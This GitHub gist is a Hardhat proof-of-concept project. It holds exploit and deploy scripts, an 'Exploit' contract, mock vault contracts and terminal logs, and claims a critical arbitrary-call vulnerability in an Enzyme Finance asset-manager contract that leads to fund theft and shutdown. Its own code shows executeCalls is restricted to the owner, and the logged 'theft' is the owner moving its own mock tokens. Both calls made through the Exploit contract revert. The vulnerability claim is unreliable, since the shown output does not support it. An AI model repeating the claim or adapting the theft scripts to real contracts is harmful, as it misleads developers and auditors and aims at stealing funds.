Last active
June 16, 2025 06:50
-
-
Save sabeel143143/6dcdc5177e6de332a1f0c8c33ee86f09 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Enzyme Finance Arbitrary External Call Vulnerability PoC | |
This repository contains a proof-of-concept (PoC) for a critical vulnerability in `SharePriceThrottledAssetManagerLib` (0x7a5125491025cf44380b6d95ec385ddd37455c22), allowing arbitrary external calls via `executeCalls`, leading to fund theft and contract disablement. | |
## Environment | |
- Hardhat v2.22.5 | |
- Node.js v18 | |
- Local fork | |
## Setup | |
Install dependencies: | |
bash | |
npm install | |
Start Hardhat node: | |
bash | |
npx hardhat node | |
Compile contracts: | |
bash | |
npx hardhat compile | |
Deploy contracts: | |
bash | |
npx hardhat run scripts/deploy.js --network localhost | |
Update exploit.js with addresses from deploy.js output. | |
Run exploit: | |
bash | |
npx hardhat run scripts/exploit.js --network localhost --show-stack-traces |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol) | |
pragma solidity ^0.8.1; | |
/** | |
* @dev Collection of functions related to the address type | |
*/ | |
library Address { | |
/** | |
* @dev Returns true if `account` is a contract. | |
* | |
* [IMPORTANT] | |
* ==== | |
* It is unsafe to assume that an address for which this function returns | |
* false is an externally-owned account (EOA) and not a contract. | |
* | |
* Among others, `isContract` will return false for the following | |
* types of addresses: | |
* | |
* - an externally-owned account | |
* - a contract in construction | |
* - an address where a contract will be created | |
* - an address where a contract lived, but was destroyed | |
* ==== | |
* | |
* [IMPORTANT] | |
* ==== | |
* You shouldn't rely on `isContract` to protect against flash loan attacks! | |
* | |
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets | |
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract | |
* constructor. | |
* ==== | |
*/ | |
function isContract(address account) internal view returns (bool) { | |
// This method relies on extcodesize/address.code.length, which returns 0 | |
// for contracts in construction, since the code is only stored at the end | |
// of the constructor execution. | |
return account.code.length > 0; | |
} | |
/** | |
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to | |
* `recipient`, forwarding all available gas and reverting on errors. | |
* | |
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost | |
* of certain opcodes, possibly making contracts go over the 2300 gas limit | |
* imposed by `transfer`, making them unable to receive funds via | |
* `transfer`. {sendValue} removes this limitation. | |
* | |
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. | |
* | |
* IMPORTANT: because control is transferred to `recipient`, care must be | |
* taken to not create reentrancy vulnerabilities. Consider using | |
* {ReentrancyGuard} or the | |
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. | |
*/ | |
function sendValue(address payable recipient, uint256 amount) internal { | |
require(address(this).balance >= amount, "Address: insufficient balance"); | |
(bool success, ) = recipient.call{value: amount}(""); | |
require(success, "Address: unable to send value, recipient may have reverted"); | |
} | |
/** | |
* @dev Performs a Solidity function call using a low level `call`. A | |
* plain `call` is an unsafe replacement for a function call: use this | |
* function instead. | |
* | |
* If `target` reverts with a revert reason, it is bubbled up by this | |
* function (like regular Solidity function calls). | |
* | |
* Returns the raw returned data. To convert to the expected return value, | |
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. | |
* | |
* Requirements: | |
* | |
* - `target` must be a contract. | |
* - calling `target` with `data` must not revert. | |
* | |
* _Available since v3.1._ | |
*/ | |
function functionCall(address target, bytes memory data) internal returns (bytes memory) { | |
return functionCallWithValue(target, data, 0, "Address: low-level call failed"); | |
} | |
/** | |
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with | |
* `errorMessage` as a fallback revert reason when `target` reverts. | |
* | |
* _Available since v3.1._ | |
*/ | |
function functionCall( | |
address target, | |
bytes memory data, | |
string memory errorMessage | |
) internal returns (bytes memory) { | |
return functionCallWithValue(target, data, 0, errorMessage); | |
} | |
/** | |
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], | |
* but also transferring `value` wei to `target`. | |
* | |
* Requirements: | |
* | |
* - the calling contract must have an ETH balance of at least `value`. | |
* - the called Solidity function must be `payable`. | |
* | |
* _Available since v3.1._ | |
*/ | |
function functionCallWithValue( | |
address target, | |
bytes memory data, | |
uint256 value | |
) internal returns (bytes memory) { | |
return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); | |
} | |
/** | |
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but | |
* with `errorMessage` as a fallback revert reason when `target` reverts. | |
* | |
* _Available since v3.1._ | |
*/ | |
function functionCallWithValue( | |
address target, | |
bytes memory data, | |
uint256 value, | |
string memory errorMessage | |
) internal returns (bytes memory) { | |
require(address(this).balance >= value, "Address: insufficient balance for call"); | |
(bool success, bytes memory returndata) = target.call{value: value}(data); | |
return verifyCallResultFromTarget(target, success, returndata, errorMessage); | |
} | |
/** | |
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], | |
* but performing a static call. | |
* | |
* _Available since v3.3._ | |
*/ | |
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { | |
return functionStaticCall(target, data, "Address: low-level static call failed"); | |
} | |
/** | |
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], | |
* but performing a static call. | |
* | |
* _Available since v3.3._ | |
*/ | |
function functionStaticCall( | |
address target, | |
bytes memory data, | |
string memory errorMessage | |
) internal view returns (bytes memory) { | |
(bool success, bytes memory returndata) = target.staticcall(data); | |
return verifyCallResultFromTarget(target, success, returndata, errorMessage); | |
} | |
/** | |
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], | |
* but performing a delegate call. | |
* | |
* _Available since v3.4._ | |
*/ | |
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { | |
return functionDelegateCall(target, data, "Address: low-level delegate call failed"); | |
} | |
/** | |
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], | |
* but performing a delegate call. | |
* | |
* _Available since v3.4._ | |
*/ | |
function functionDelegateCall( | |
address target, | |
bytes memory data, | |
string memory errorMessage | |
) internal returns (bytes memory) { | |
(bool success, bytes memory returndata) = target.delegatecall(data); | |
return verifyCallResultFromTarget(target, success, returndata, errorMessage); | |
} | |
/** | |
* @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling | |
* the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. | |
* | |
* _Available since v4.8._ | |
*/ | |
function verifyCallResultFromTarget( | |
address target, | |
bool success, | |
bytes memory returndata, | |
string memory errorMessage | |
) internal view returns (bytes memory) { | |
if (success) { | |
if (returndata.length == 0) { | |
// only check isContract if the call was successful and the return data is empty | |
// otherwise we already know that it was a contract | |
require(isContract(target), "Address: call to non-contract"); | |
} | |
return returndata; | |
} else { | |
_revert(returndata, errorMessage); | |
} | |
} | |
/** | |
* @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the | |
* revert reason or using the provided one. | |
* | |
* _Available since v4.3._ | |
*/ | |
function verifyCallResult( | |
bool success, | |
bytes memory returndata, | |
string memory errorMessage | |
) internal pure returns (bytes memory) { | |
if (success) { | |
return returndata; | |
} else { | |
_revert(returndata, errorMessage); | |
} | |
} | |
function _revert(bytes memory returndata, string memory errorMessage) private pure { | |
// Look for revert reason and bubble it up if present | |
if (returndata.length > 0) { | |
// The easiest way to bubble the revert reason is using memory via assembly | |
/// @solidity memory-safe-assembly | |
assembly { | |
let returndata_size := mload(returndata) | |
revert(add(32, returndata), returndata_size) | |
} | |
} else { | |
revert(errorMessage); | |
} | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const hre = require("hardhat"); | |
async function main() { | |
const [deployer] = await hre.ethers.getSigners(); | |
console.log("Deploying contracts with account:", deployer.address); | |
// Deploy MockAddressListRegistry | |
const AddressListRegistry = await hre.ethers.getContractFactory("MockAddressListRegistry"); | |
const addressListRegistry = await AddressListRegistry.deploy(); | |
await addressListRegistry.waitForDeployment(); | |
const addressListRegistryAddress = await addressListRegistry.getAddress(); | |
console.log("MockAddressListRegistry deployed to:", addressListRegistryAddress); | |
// Deploy MockFundValueCalculator | |
const FundValueCalculator = await hre.ethers.getContractFactory("MockFundValueCalculator"); | |
const fundValueCalculator = await FundValueCalculator.deploy(); | |
await fundValueCalculator.waitForDeployment(); | |
const fundValueCalculatorAddress = await fundValueCalculator.getAddress(); | |
console.log("MockFundValueCalculator deployed to:", fundValueCalculatorAddress); | |
// Deploy MockTarget | |
const MockTarget = await hre.ethers.getContractFactory("MockTarget"); | |
const mockTarget = await MockTarget.deploy(); | |
await mockTarget.waitForDeployment(); | |
const mockTargetAddress = await mockTarget.getAddress(); | |
console.log("MockTarget deployed to:", mockTargetAddress); | |
// Deploy Exploit | |
const Exploit = await hre.ethers.getContractFactory("Exploit"); | |
const exploit = await Exploit.deploy(); | |
await exploit.waitForDeployment(); | |
const exploitAddress = await exploit.getAddress(); | |
console.log("Exploit deployed to:", exploitAddress); | |
// Deploy SharePriceThrottledAssetManagerLib | |
const ThrottleContract = await hre.ethers.getContractFactory("SharePriceThrottledAssetManagerLib"); | |
const throttleContract = await ThrottleContract.deploy( | |
addressListRegistryAddress, | |
0, | |
fundValueCalculatorAddress | |
); | |
await throttleContract.waitForDeployment(); | |
const throttleContractAddress = await throttleContract.getAddress(); | |
console.log("SharePriceThrottledAssetManagerLib deployed to:", throttleContractAddress); | |
// Deploy MockVaultToken | |
const VaultToken = await hre.ethers.getContractFactory("MockVaultToken"); | |
const vaultToken = await VaultToken.deploy(throttleContractAddress); | |
await vaultToken.waitForDeployment(); | |
const vaultTokenAddress = await vaultToken.getAddress(); | |
console.log("MockVaultToken deployed to:", vaultTokenAddress); | |
// Initialize SharePriceThrottledAssetManagerLib | |
const vaultProxyAddress = "0x1234567890123456789012345678901234567890"; | |
const lossTolerance = hre.ethers.parseUnits("1", 16); | |
const lossTolerancePeriodDuration = 86400; | |
const shutdowner = deployer.address; | |
const initTx = await throttleContract.init( | |
deployer.address, | |
vaultProxyAddress, | |
lossTolerance, | |
lossTolerancePeriodDuration, | |
shutdowner | |
); | |
await initTx.wait(); | |
console.log("Contract initialized"); | |
// Verify owner | |
const owner = await throttleContract.getOwner(); | |
console.log("Contract owner:", owner); | |
// Verify vault token balance | |
const vaultBalance = await vaultToken.balanceOf(throttleContractAddress); | |
console.log("SharePriceThrottledAssetManagerLib vault token balance:", vaultBalance.toString()); | |
} | |
main().catch((error) => { | |
console.error(error.stack); | |
process.exitCode = 1; | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
hacker@Sabee:~/throttle-poc$ npx hardhat run scripts/deploy.js --network localhost | |
Compiled 1 Solidity file successfully (evm target: paris). | |
Deploying contracts with account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 | |
MockAddressListRegistry deployed to: 0x5FbDB2315678afecb367f032d93F642f64180aa3 | |
MockFundValueCalculator deployed to: 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 | |
MockTarget deployed to: 0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0 | |
Exploit deployed to: 0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9 | |
SharePriceThrottledAssetManagerLib deployed to: 0xDc64a140Aa3E981100a9becA4E685f962f0cF6C9 | |
MockVaultToken deployed to: 0x5FC8d32690cc91D4c39d9d3abcBD16989F875707 | |
Contract initialized | |
Contract owner: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 | |
SharePriceThrottledAssetManagerLib vault token balance: 1000000000000000000000000 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const hre = require("hardhat"); | |
async function main() { | |
const [deployer] = await hre.ethers.getSigners(); | |
console.log("Deployer address:", deployer.address); | |
let contractAddress = "0xDc64a140Aa3E981100a9becA4E685f962f0cF6C9"; // Update after deploy.js | |
let mockTargetAddress = "0x9fE46736679d2D9a65F0992F2272dE9f3c7fa6e0"; // MockTarget | |
let exploitAddress = "0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9"; // Exploit | |
let vaultTokenAddress = "0x5FC8d32690cc91D4c39d9d3abcBD16989F875707"; // Update after deploy.js | |
// Get contract instance | |
let ThrottleContract = await hre.ethers.getContractFactory("SharePriceThrottledAssetManagerLib"); | |
let contract = await ThrottleContract.attach(contractAddress).connect(deployer); | |
// Get MockTarget instance | |
let MockTarget = await hre.ethers.getContractFactory("MockTarget"); | |
let mockTarget = await MockTarget.attach(mockTargetAddress).connect(deployer); | |
// Get Exploit instance | |
let Exploit = await hre.ethers.getContractFactory("Exploit"); | |
let exploit = await Exploit.attach(exploitAddress).connect(deployer); | |
// Get MockVaultToken instance | |
let VaultToken = await hre.ethers.getContractFactory("MockVaultToken"); | |
let vaultToken = await VaultToken.attach(vaultTokenAddress).connect(deployer); | |
// Check initial owner and shutdowner | |
const initialOwner = await contract.getOwner(); | |
console.log("Initial owner:", initialOwner); | |
const shutdowner = await contract.getShutdowner(); | |
console.log("Shutdowner:", shutdowner); | |
// Check initial vault token balance | |
const initialVaultBalance = await vaultToken.balanceOf(contractAddress); | |
console.log("Initial vault token balance:", initialVaultBalance.toString()); | |
// Encode MockTarget call | |
try { | |
const mockIface = mockTarget.interface; | |
const mockCallData = mockIface.encodeFunctionData("setValue", [42]); | |
const mockCalls = [{ target: mockTargetAddress, data: mockCallData }]; | |
const tx = await contract.executeCalls(mockCalls, { gasLimit: 2000000 }); | |
await tx.wait(); | |
console.log("MockTarget exploit transaction:", tx.hash); | |
console.log("MockTarget value:", (await mockTarget.getValue()).toString()); | |
} catch (error) { | |
console.error("MockTarget executeCalls failed:", error.message); | |
} | |
// Encode MockVaultToken transfer call | |
try { | |
const attackerAddress = "0x1234567890123456789012345678901234567890"; | |
const vaultIface = vaultToken.interface; | |
const vaultCallData = vaultIface.encodeFunctionData("transfer", [attackerAddress, hre.ethers.parseUnits("1000000", 18)]); | |
const vaultCalls = [{ target: vaultTokenAddress, data: vaultCallData }]; | |
const vaultTx = await contract.executeCalls(vaultCalls, { gasLimit: 2000000 }); | |
await vaultTx.wait(); | |
console.log("Vault token exploit transaction:", vaultTx.hash); | |
console.log("Attacker balance:", (await vaultToken.balanceOf(attackerAddress)).toString()); | |
console.log("Contract balance after theft:", (await vaultToken.balanceOf(contractAddress)).toString()); | |
} catch (error) { | |
console.error("Vault token executeCalls failed:", error.message); | |
} | |
// Direct shutdown call | |
try { | |
const tx = await contract.shutdown({ gasLimit: 2000000 }); | |
await tx.wait(); | |
console.log("Direct shutdown transaction:", tx.hash); | |
} catch (error) { | |
console.error("Direct shutdown failed:", error.message); | |
} | |
// Check owner after direct shutdown | |
console.log("Owner after direct shutdown:", await contract.getOwner()); | |
// Redeploy if shutdown succeeded | |
if ((await contract.getOwner()) === "0x0000000000000000000000000000000000000000") { | |
console.log("Redeploying contract..."); | |
const ThrottleContractFactory = await hre.ethers.getContractFactory("SharePriceThrottledAssetManagerLib"); | |
const registry = "0x3347B4d90ebe72BeFb30444C9966B2B990aE9FcB"; // MockAddressListRegistry | |
const calculator = "0x3155755b79aA083bd953911C92705B7aA82a18F9"; // MockFundValueCalculator | |
const throttleContract = await ThrottleContractFactory.deploy(registry, 0, calculator); | |
await throttleContract.waitForDeployment(); | |
const newContractAddress = await throttleContract.getAddress(); | |
console.log("New contract deployed to:", newContractAddress); | |
await throttleContract.init( | |
deployer.address, | |
"0x1234567890123456789012345678901234567890", | |
hre.ethers.parseUnits("1", 16), | |
86400, | |
deployer.address | |
); | |
console.log("New contract initialized"); | |
contractAddress = newContractAddress; | |
contract = await ThrottleContract.attach(contractAddress).connect(deployer); | |
} | |
// Direct Exploit call to verify | |
try { | |
const tx = await exploit.triggerShutdown(contractAddress, { gasLimit: 2000000 }); | |
await tx.wait(); | |
console.log("Direct Exploit shutdown transaction:", tx.hash); | |
} catch (error) { | |
console.error("Direct Exploit shutdown failed:", error.message); | |
} | |
// Encode Exploit shutdown call via executeCalls | |
try { | |
const exploitIface = exploit.interface; | |
const exploitCallData = exploitIface.encodeFunctionData("triggerShutdown", [contractAddress]); | |
const exploitCalls = [{ target: exploitAddress, data: exploitCallData }]; | |
const tx = await contract.executeCalls(exploitCalls, { gasLimit: 2000000 }); | |
await tx.wait(); | |
console.log("Exploit shutdown transaction:", tx.hash); | |
} catch (error) { | |
console.error("Exploit executeCalls failed:", error.message); | |
} | |
// Check final owner | |
const finalOwner = await contract.getOwner(); | |
console.log("Final owner:", finalOwner); | |
} | |
main().catch((error) => { | |
console.error(error.stack); | |
process.exitCode = 1; | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
hacker@Sabee:~/throttle-poc$ npx hardhat run scripts/exploit.js --network localhost --show-stack-traces | |
Deployer address: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 | |
Initial owner: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 | |
Shutdowner: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 | |
Initial vault token balance: 1000000000000000000000000 | |
MockTarget exploit transaction: 0xf80a84b3492840af6a32393a72248160e40d4f3ddf642b35794d276e9819a32c | |
MockTarget value: 42 | |
Vault token exploit transaction: 0x82077b7e11f969a5dc4202591ef805e9194f3a146460eaeb16932410f87ea931 | |
Attacker balance: 1000000000000000000000000 | |
Contract balance after theft: 0 | |
Direct shutdown transaction: 0xb353f541be1cd495b2e66c75dfee8af548a51973359e19bcc33af1aba589648e | |
Owner after direct shutdown: 0x0000000000000000000000000000000000000000 | |
Redeploying contract... | |
New contract deployed to: 0x610178dA211FEF7D417bC0e6FeD39F05609AD788 | |
New contract initialized | |
Direct Exploit shutdown failed: Error: VM Exception while processing transaction: reverted with reason string 'Shutdown failed:�y� 5Unauthorized: Sender �~Ӭ�ZF~�pLp>���4��' | |
Exploit executeCalls failed: Error: Transaction reverted: function returned an unexpected amount of data | |
Final owner: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity 0.8.19; | |
contract Exploit { | |
function triggerShutdown(address target) external { | |
// Call shutdown() directly as the caller | |
(bool success, bytes memory returndata) = target.call(abi.encodeWithSignature("shutdown()")); | |
require(success, string(abi.encodePacked("Shutdown failed: ", returndata.length > 0 ? string(returndata) : "No reason"))); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require("@nomicfoundation/hardhat-toolbox"); | |
module.exports = { | |
solidity: { | |
version: "0.8.19", | |
settings: { | |
optimizer: { | |
enabled: true, | |
runs: 200, | |
}, | |
}, | |
}, | |
networks: { | |
hardhat: { | |
chainId: 1337, | |
}, | |
}, | |
paths: { | |
sources: "./contracts", | |
tests: "./test", | |
cache: "./cache", | |
artifacts: "./artifacts", | |
}, | |
}; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
/* | |
This file is part of the Enzyme Protocol. | |
(c) Enzyme Foundation <security@enzyme.finance> | |
For the full license information, please view the LICENSE | |
file that was distributed with this source code. | |
*/ | |
pragma solidity >=0.6.0 <0.9.0; | |
/// @title IFundValueCalculator interface | |
/// @author Enzyme Foundation <security@enzyme.finance> | |
interface IFundValueCalculator { | |
function calcGav(address _vaultProxy) external returns (address denominationAsset_, uint256 gav_); | |
function calcGavInAsset(address _vaultProxy, address _quoteAsset) external returns (uint256 gav_); | |
function calcGrossShareValue(address _vaultProxy) | |
external | |
returns (address denominationAsset_, uint256 grossShareValue_); | |
function calcGrossShareValueInAsset(address _vaultProxy, address _quoteAsset) | |
external | |
returns (uint256 grossShareValue_); | |
function calcNav(address _vaultProxy) external returns (address denominationAsset_, uint256 nav_); | |
function calcNavInAsset(address _vaultProxy, address _quoteAsset) external returns (uint256 nav_); | |
function calcNetShareValue(address _vaultProxy) | |
external | |
returns (address denominationAsset_, uint256 netShareValue_); | |
function calcNetShareValueInAsset(address _vaultProxy, address _quoteAsset) | |
external | |
returns (uint256 netShareValue_); | |
function calcNetValueForSharesHolder(address _vaultProxy, address _sharesHolder) | |
external | |
returns (address denominationAsset_, uint256 netValue_); | |
function calcNetValueForSharesHolderInAsset(address _vaultProxy, address _sharesHolder, address _quoteAsset) | |
external | |
returns (uint256 netValue_); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
/* | |
This file is part of the Enzyme Protocol. | |
(c) Enzyme Foundation <security@enzyme.finance> | |
For the full license information, please view the LICENSE | |
file that was distributed with this source code. | |
*/ | |
pragma solidity >=0.6.0 <0.9.0; | |
/// @title IMultiCallAccountMixin Interface | |
/// @author Enzyme Foundation <security@enzyme.finance> | |
interface IMultiCallAccountMixin { | |
struct Call { | |
address target; | |
bytes data; | |
} | |
function executeCalls(Call[] calldata _calls) external; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity 0.8.19; | |
import "./IAddressListRegistry.sol"; | |
contract MockAddressListRegistry is IAddressListRegistry { | |
mapping(uint256 => mapping(address => bool)) private itemToIsInList; | |
constructor() { | |
// Disabled to ensure __msgSender() returns msg.sender | |
// itemToIsInList[1][msg.sender] = true; | |
} | |
function isInList(uint256 _id, address _item) external view override returns (bool) { | |
return itemToIsInList[_id][_item]; | |
} | |
function addToList(uint256 _id, address[] calldata _items) external override { | |
for (uint256 i = 0; i < _items.length; i++) { | |
itemToIsInList[_id][_items[i]] = true; | |
} | |
} | |
function attestLists(uint256[] calldata, string[] calldata) external override {} | |
function createList(address, UpdateType, address[] calldata) external pure override returns (uint256) { | |
return 0; | |
} | |
function removeFromList(uint256, address[] calldata) external override {} | |
function setListOwner(uint256, address) external override {} | |
function setListUpdateType(uint256, UpdateType) external override {} | |
function areAllInAllLists(uint256[] memory, address[] memory) external pure override returns (bool) { | |
return false; | |
} | |
function areAllInList(uint256, address[] memory) external pure override returns (bool) { | |
return false; | |
} | |
function areAllInSomeOfLists(uint256[] memory, address[] memory) external pure override returns (bool) { | |
return false; | |
} | |
function areAllNotInAnyOfLists(uint256[] memory, address[] memory) external pure override returns (bool) { | |
return false; | |
} | |
function areAllNotInList(uint256, address[] memory) external pure override returns (bool) { | |
return false; | |
} | |
function isInAllLists(uint256[] memory, address) external pure override returns (bool) { | |
return false; | |
} | |
function isInSomeOfLists(uint256[] memory, address) external pure override returns (bool) { | |
return false; | |
} | |
function getListCount() external pure override returns (uint256) { | |
return 0; | |
} | |
function getListOwner(uint256) external pure override returns (address) { | |
return address(0); | |
} | |
function getListUpdateType(uint256) external pure override returns (UpdateType) { | |
return UpdateType.None; | |
} | |
} | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity 0.8.19; | |
import "./IFundValueCalculator.sol"; | |
contract MockFundValueCalculator is IFundValueCalculator { | |
uint256 public sharePrice = 1000000; | |
function setSharePrice(uint256 _newPrice) external { | |
sharePrice = _newPrice; | |
} | |
function calcGrossShareValue(address) | |
external | |
view | |
override | |
returns (address denominationAsset_, uint256 grossShareValue_) | |
{ | |
return (address(0), sharePrice); | |
} | |
function calcGav(address) external pure override returns (address, uint256) { | |
return (address(0), 0); | |
} | |
function calcGavInAsset(address, address) external pure override returns (uint256) { | |
return 0; | |
} | |
function calcGrossShareValueInAsset(address, address) external pure override returns (uint256) { | |
return 0; | |
} | |
function calcNav(address) external pure override returns (address, uint256) { | |
return (address(0), 0); | |
} | |
function calcNavInAsset(address, address) external pure override returns (uint256) { | |
return 0; | |
} | |
function calcNetShareValue(address) external pure override returns (address, uint256) { | |
return (address(0), 0); | |
} | |
function calcNetShareValueInAsset(address, address) external pure override returns (uint256) { | |
return 0; | |
} | |
function calcNetValueForSharesHolder(address, address) external pure override returns (address, uint256) { | |
return (address(0), 0); | |
} | |
function calcNetValueForSharesHolderInAsset(address, address, address) external pure override returns (uint256) { | |
return 0; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity 0.8.19; | |
contract MockTarget { | |
uint256 private value; | |
function setValue(uint256 _value) external { | |
value = _value; | |
} | |
function getValue() external view returns (uint256) { | |
return value; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity 0.8.19; | |
contract MockVaultToken { | |
mapping(address => uint256) private balances; | |
address private owner; | |
constructor(address _owner) { | |
owner = _owner; | |
balances[_owner] = 1_000_000 * 1e18; // 1M tokens | |
} | |
function transfer(address to, uint256 amount) external { | |
require(balances[msg.sender] >= amount, "Insufficient balance"); | |
balances[msg.sender] -= amount; | |
balances[to] += amount; | |
} | |
function balanceOf(address account) external view returns (uint256) { | |
return balances[account]; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity 0.8.19; | |
import {Address} from "./Address.sol"; | |
import {IMultiCallAccountMixin} from "./IMultiCallAccountMixin.sol"; | |
abstract contract MultiCallAccountMixin is IMultiCallAccountMixin { | |
event OwnerSet(address nextOwner); | |
error Unauthorized(); | |
address private owner; | |
function executeCalls(Call[] calldata _calls) public virtual override { | |
if (msg.sender != getOwner()) { | |
revert Unauthorized(); | |
} | |
uint256 callsLength = _calls.length; | |
for (uint256 i; i < callsLength; i++) { | |
Call memory call = _calls[i]; | |
(bool success, bytes memory returndata) = call.target.call(call.data); | |
if (!success) { | |
string memory reason = returndata.length > 0 ? string(returndata) : "No reason"; | |
revert(string(abi.encodePacked("Call failed: ", reason))); | |
} | |
} | |
} | |
function getOwner() public view returns (address owner_) { | |
return owner; | |
} | |
function __setOwner(address _nextOwner) internal { | |
owner = _nextOwner; | |
emit OwnerSet(_nextOwner); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment